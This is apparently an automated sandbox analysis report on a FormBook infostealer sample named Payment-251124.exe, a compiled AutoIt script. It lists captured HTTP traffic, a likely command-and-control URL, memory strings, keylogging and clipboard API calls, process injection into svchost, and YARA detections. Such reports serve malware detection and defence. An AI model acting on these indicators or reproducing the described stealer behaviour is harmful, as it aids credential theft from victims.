fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCP*Zc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7*r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Mon, 25 Nov 2024 14:28:16 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCP*Zc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7*r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Mon, 25 Nov 2024 14:28:19 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCP*Zc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7*r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 1271Connection: closeDate: Mon, 25 Nov 2024 14:28:22 GMTServer: ApacheX-Frame-Options: denyData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 4e 4f 57 22 20 6e 61 6d 65 3d 22 65 78 70 69 72 65 73 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 65 3d 22 47 4f 4f 47 4c 45 42 4f 54 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 3e 0a 20 20 3c 21 2d 2d 20 46 6f 6c 6c 6f 77 69 6e 67 20 4d 65 74 61 2d 54 61 67 20 66 69 78 65 73 20 73 63 61 6c 69 6e 67 2d 69 73 73 75 65 73 20 6f 6e 20 6d 6f 62 69 6c 65 20 64 65 76 69 63 65 73 20 2d 2d 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 3b 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 3b 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 3b 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 3b 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 61 72 74 6e 65 72 22 3e 0a 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 3c 73 63 72 69 70 74 20 74 79 70 65 3d 2
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 14:29:21 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "66df0ead-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 14:29:24 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "66df0ead-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 25 Nov 2024 14:29:29 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "66df0ead-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: zBxRBzECNBW.exe, 00000007.00000002.3540649856.0000000004C8A000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.75178.club
                Source: zBxRBzECNBW.exe, 00000007.00000002.3540649856.0000000004C8A000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.75178.club/q34f/
                Source: tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                Source: tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                Source: tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                Source: tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: tzutil.exe, 00000006.00000002.3541258241.0000000006250000.00000004.00000800.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539905384.0000000003E44000.00000004.10000000.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000007.00000002.3539319251.0000000002BE4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2475341747.0000000039C44000.00000004.80000000.00040000.00000000.sdmpString found in binary or memory: https://kb.fastpanel.direct/troubleshoot/
                Source: tzutil.exe, 00000006.00000002.3537943635.0000000002FEA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                Source: tzutil.exe, 00000006.00000002.3537943635.0000000002FEA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                Source: tzutil.exe, 00000006.00000002.3537943635.0000000002FEA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                Source: tzutil.exe, 00000006.00000002.3537943635.0000000002FEA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
                Source: tzutil.exe, 00000006.00000002.3537943635.0000000002FEA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                Source: tzutil.exe, 00000006.00000002.3537943635.0000000002FEA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                Source: tzutil.exe, 00000006.00000003.2359353844.0000000007CF1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
                Source: tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F16B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00F16B0C
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F16D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00F16D07
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F16B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00F16B0C
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F02B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_00F02B37
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F2F7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_00F2F7FF

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000007.00000002.3540649856.0000000004C30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3539253751.0000000003210000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3537454552.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3539211185.00000000031C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2182922609.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2183137208.0000000000D20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2183684282.0000000004150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3539158072.0000000003A40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Binary is likely a compiled AutoIt script file
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: This is a third-party compiled AutoIt script.0_2_00EC3D19
                Source: Payment-251124.exeString found in binary or memory: This is a third-party compiled AutoIt script.
                Source: Payment-251124.exe, 00000000.00000000.1690118869.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_84c9d77a-f
                Source: Payment-251124.exe, 00000000.00000000.1690118869.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_12881c85-f
                Source: Payment-251124.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_2aa5ade8-c
                Source: Payment-251124.exeString found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_acb78907-e
                Initial sample is a PE file and has a suspicious name
                Source: initial sampleStatic PE information: Filename: Payment-251124.exe
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0042C9E3 NtClose,1_2_0042C9E3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472B60 NtClose,LdrInitializeThunk,1_2_03472B60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472DF0 NtQuerySystemInformation,LdrInitializeThunk,1_2_03472DF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034735C0 NtCreateMutant,LdrInitializeThunk,1_2_034735C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03474340 NtSetContextThread,1_2_03474340
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03474650 NtSuspendThread,1_2_03474650
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472BE0 NtQueryValueKey,1_2_03472BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472BF0 NtAllocateVirtualMemory,1_2_03472BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472B80 NtQueryInformationFile,1_2_03472B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472BA0 NtEnumerateValueKey,1_2_03472BA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472AD0 NtReadFile,1_2_03472AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472AF0 NtWriteFile,1_2_03472AF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472AB0 NtWaitForSingleObject,1_2_03472AB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472F60 NtCreateProcessEx,1_2_03472F60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472F30 NtCreateSection,1_2_03472F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472FE0 NtCreateFile,1_2_03472FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472F90 NtProtectVirtualMemory,1_2_03472F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472FA0 NtQuerySection,1_2_03472FA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472FB0 NtResumeThread,1_2_03472FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472E30 NtWriteVirtualMemory,1_2_03472E30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472EE0 NtQueueApcThread,1_2_03472EE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472E80 NtReadVirtualMemory,1_2_03472E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472EA0 NtAdjustPrivilegesToken,1_2_03472EA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472D00 NtSetInformationFile,1_2_03472D00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472D10 NtMapViewOfSection,1_2_03472D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472D30 NtUnmapViewOfSection,1_2_03472D30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472DD0 NtDelayExecution,1_2_03472DD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472DB0 NtEnumerateKey,1_2_03472DB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472C60 NtCreateKey,1_2_03472C60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472C70 NtFreeVirtualMemory,1_2_03472C70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472C00 NtQueryInformationProcess,1_2_03472C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472CC0 NtQueryVirtualMemory,1_2_03472CC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472CF0 NtOpenProcess,1_2_03472CF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03472CA0 NtQueryInformationToken,1_2_03472CA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03473010 NtOpenDirectoryObject,1_2_03473010
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03473090 NtSetValueKey,1_2_03473090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034739B0 NtGetContextThread,1_2_034739B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03473D70 NtOpenThread,1_2_03473D70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03473D10 NtOpenProcessToken,1_2_03473D10
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F06685: CreateFileW,DeviceIoControl,CloseHandle,0_2_00F06685
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EFACC5 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_00EFACC5
